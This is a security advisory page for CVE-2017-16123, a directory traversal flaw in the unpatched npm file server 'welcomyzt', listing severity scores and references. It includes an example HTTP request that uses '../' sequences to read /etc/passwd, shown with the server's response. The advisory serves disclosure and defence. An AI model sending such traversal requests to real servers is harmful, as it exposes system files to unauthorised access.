Advisory details:
github_osv / GHSA-8fv7-vm2p-5495
| Advisory ID | github_osv/GHSA-8fv7-vm2p-5495 |
| Aliases |
CVE-2017-16123
|
| Summary | Directory Traversal in welcomyzt `welcomyzt` is a simple file server. `welcomyzt` is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing `../` in the url. **Example request:** ```http GET /../../../../../../../../../../etc/passwd HTTP/1.1 host: localhost ``` and server Response: ```http HTTP/1.1 200 OK Date: Thu, 04 May 2017 23:59:18 GMT Connection: keep-alive Transfer-Encoding: chunked {contents of /etc/passwd} ``` ## Recommendation No patch is available for this vulnerability. It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead. |
| Status | Published |
| Exploitability | 0.5 |
| Weighted Severity | 6.8 |
| Risk | 3.4 |
| Affected and Fixed Packages | Package Details |
| Introduced and Fixed Package Commit Patches | Package Commit Patches Details |
| System | Score | Found at |
|---|---|---|
| cvssv3 | 7.5 | https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/09/GHSA-8fv7-vm2p-5495/GHSA-8fv7-vm2p-5495.json |
| generic_textual | HIGH |
| Reference id | Reference type | URL |
|---|---|---|
| https://github.com/JacksonGL/NPM-Vuln-PoC/blob/master/directory-traversal/pooledwebsocket | ||
| https://www.npmjs.com/advisories/388 | ||
| CVE-2017-16123 | https://nvd.nist.gov/vuln/detail/CVE-2017-16123 |
No EPSS data available for this advisory.
| Patch URL | |
|---|---|
| There are no known patches. | |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
There are no SSVC decisions available.